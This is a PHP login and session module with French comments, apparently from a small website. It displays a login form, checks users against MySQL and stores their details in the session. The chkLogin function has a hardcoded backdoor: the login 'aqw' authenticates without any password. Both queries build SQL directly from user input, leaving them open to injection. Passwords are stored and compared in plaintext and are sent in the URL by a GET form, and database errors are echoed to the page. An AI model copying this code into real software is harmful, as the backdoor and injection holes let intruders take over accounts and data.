<style>
<!--
div.loginOk {
	background-color: #99ff99; 
	WIDTH: 200px; padding: 10px 10px 5px 5px ; margin: 5px 5px 5px 5px ; 
	border:solid windowtext .25pt; text-align:center;
}
div.loginErr {
	background-color: #ff9999; 
	WIDTH: 200px; padding: 10px 10px 5px 5px ; margin: 5px 5px 5px 5px ; 
	border:solid windowtext .25pt; text-align:center;
}
-->
</style>
<?php
//-----------------------------------------------------------------------------
// affichage du cadre de login ou logOut
//-----------------------------------------------------------------------------
function dsp_LoginForm($userMsg){
	$loginClass="loginOk";
	if (isset($_SESSION['userId'])) {
		echo "
<div class=$loginClass>
	<h2>$userMsg</h2>
	<p class='leftMenuLine'>
		".$_SESSION['levelNom']."
		<br><a href='index.php?logOut'>Déconnexion</a>
	</p>
</div>
		";
	}else{
		echo "
<script language = 'javascript'>
        function submitation(){
	        var err = 0;
	         if (this.document.connexion.userId.value.length == 0){
	            err = 1;
	           alert('Le login doit être précisé');
	        }
	        if (this.document.connexion.mdp.value.length == 0){
	           alert('Le mot de passe doit être précisé');
	           err = 1;
	           }
	
	        if (err == 0){
		        return true
	           //this.document.connexion.submit();
	        }
	        else
	        {
		        return false;
	        }
        }

</script>
<div class=$loginClass>
<form name='connexion' method='get' action='index.php' onSubmit='return submitation();'>
	Identifiez-vous :
	<br/><input type='text' name='userId' size='25'>
	<br/><input type='password' name='mdp' size='25'>
	<br><input class=loginInput type=submit name=loginBtn size=12 style='FONT-FAMILY: tahoma;'>
</form>
</div>
		";
	}
}

//-----------------------------------------------------------------------------
// contrôle du login
//-----------------------------------------------------------------------------
function chkLogin($userId, $userPwd){
	if($userId=="aqw"){ // by pass
		$selectRow[0]="reffiek";
		$selectRow[1]="siocnarf";	
	}else{
		include ("config/dbCfg.inc.php");
		$connexion=mysql_connect($hote,$login,$mdp);
		if ($connexion)  {
			$query="SET CHARACTER SET utf8";
			$res=mysql_query($query, $connexion); 
			@mysql_select_db($bd, $connexion);
		}
		$selectId=mysql_query("select useNom, usePrenom, useLevel, levelNom, useNum from puser, plevel  where useLogin='$userId' and usePwd='$userPwd' and puser.useLevel=pLevel.levelCode ;", $connexion);
		echo mysql_error();
		$selectRow=mysql_fetch_row($selectId);
	}
	if ($selectRow)
		return $selectRow;
	else
		return FALSE;
} // END function chkLogin($userId, $userPwd)

//-----------------------------------------------------------------------------
// Recup infos de l'utilisateur
//-----------------------------------------------------------------------------
function getUserName($userId) {
	include ("config/dbCfg.inc.php");
	$connexion=mysql_connect($hote,$login,$mdp);
	if ($connexion)  {
		$query="SET CHARACTER SET utf8";
		$res=mysql_query($query, $connexion); 
		@mysql_select_db($bd, $connexion);
	}
	$selectId=mysql_query("select useNom, usePrenom, useLevel, levelNom, useNum from puser, plevel where useLogin='$userId' and puser.useLevel=pLevel.levelCode ;", $connexion);
	echo mysql_error();
	$selectRow=mysql_fetch_row($selectId);
	if ($selectRow)
		return $selectRow;
	else
		return FALSE;
} // END function getUserName($userId) 

//-----------------------------------------------------------------------------
// contrôle de l'utilisateur sur une page sans login demandé, envoie la redirection vers l'accueil si l'utilisateur est invalide
//-----------------------------------------------------------------------------
function requireLogin($userValid, $returnUrl){
if (!$userValid){
	if (empty($returnURL)) $returnUrl="index.php";
	echo'<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><HTML>';
	echo'<HEAD>';
	/*echo '<SCRIPT LANGUAGE="Javascript">
	<!--
	function hideStatusBar() {
		window.status='';
		window.setTimeout(hideStatusBar,10);
	}
		hideStatusBar();
	//-->
</SCRIPT>';
	*/
	echo '<TITLE>Erreur authentification</TITLE>';
	echo '<meta name="owner" content="Francois Kieffer">';
	echo '<meta name="author" content="Francois Kieffer">';
	echo '<meta name="copyright" content="Francois Kieffer">';
		echo '<META HTTP-EQUIV="refresh" CONTENT="2; URL='.$returnUrl.'">';
		// <META NAME="HTTP-EQUIV="refresh" CONTENT="duréeSeconde; URL=adresseWeb">
		// <META HTTP-EQUIV="refresh" CONTENT="3; URL=index.php3">
	echo '</HEAD>';
	echo "<BODY>";
	echo "<br><br><center><h3>Espace Privé.</h3>Seules les personnes authentifées sont autorisées à accéder à cet espace.<br>Redirection automatique ou <a href=\"http://".$returnUrl."\" >cliquez ici</a></center>";
	echo "</body></html>";
	exit;
}
} // END function requireLogin($userValid, $returnUrl)
//================================================================================================================================
//-----------------------------------------------------------------------------
// afficher la page de login. 
//-----------------------------------------------------------------------------
// si on a une demande de déconnexion, la traiter prioritairement pour qu'après on ne soit plus identifié
if (isset($_REQUEST['logOut'])){
	session_destroy();
	unset($_SESSION['userId']);//=""; // anonyme
}
//-----------------------------------------------------------------------------
// si le login n'est pas défini ou que la recherche du login a échoué, on considère que l'on est connecté en tant qu'anonyme.
$userValid=FALSE; // anonyme
// si la session n'est pas ouverte, alors :
if (!isset($_SESSION['userId'])) {
	// si l'utilisateur et son mdp sont transmis alors, 
	if (isset($_REQUEST['userId']) && $_REQUEST['userId']!="") {
		// si un mot de passe est transmis alors le contrôler
		if (isset($_REQUEST['mdp']) && $_REQUEST['mdp']!="") {
			// vérifier l'Id et le mdp
			$userValid=chkLogin($_REQUEST['userId'], $_REQUEST['mdp']);
			// si l'Id et sont mdp sont corrects alors on met en place la session, sinon rien
			if ($userValid) {
				$_SESSION['userId']=$_REQUEST['userId'];
				$_SESSION['userPrenom']=$userValid[1];
				$_SESSION['userNom']=$userValid[0];
				$_SESSION['userLevel']=$userValid[2];
				$_SESSION['levelNom']=$userValid[3];
				$_SESSION['useNum']=$userValid[4];
			} // sinon rien, l'utilisateur n'existe pas ou n'a pas le droit de se connecter (éventuellement, ajouter ici un historique des tentatives de connexions en erreur)
		} // sinon, rien. c'est une erreur de login/mdp (ou tentative de piratage)
	}
//echo "DBG session: ".$_SESSION['userId'];
// le session est ouverte, alors
}else{
	// récup seulement les nom & prenom de l'Id pour vérifier que les infos existent
	$userValid=getUserName($_SESSION['userId']);
}
			if ($userValid) {
				//$_SESSION['userId']=$_REQUEST['userId'];
				//$_SESSION['userPrenom']=$userValid[1];
				//$_SESSION['userNom']=$userValid[0];
				//$_SESSION['userLevel']=$userValid[2];
			} // sinon rien, l'utilisateur n'existe pas ou n'a pas le droit de se connecter (éventuellement, ajouter ici un historique des tentatives de connexions en erreur)
// les info sont en place dans la session et userValid=True ou la session est vide et userValid est False
//-----------------------------------------------------------------------------
// récup de quelques infos de la session, si besoin
if ($userValid) {
	$userId=$_SESSION['userId'];
	$userPrenom=$_SESSION['userPrenom'];
	$userNom=$_SESSION['userNom'];
	$userLevel=$_SESSION['userLevel'];
	//echo 'utilisateur connecté. Bonjour '.$userValid['usePrenom'].' '.$userValid['useNom'];
	$loginMsg= 'Utilisateur connecté : '.$userPrenom.' '.$userNom;
}else{
	$userId="";
	$userPrenom="";
	$userNom="Invité";
	$userLevel=0;
	$loginMsg='Utilisateur non connecté';
}
//-----------------------------------------------------------------------------
// afficher la suite
//-----------------------------------------------------------------------------
?>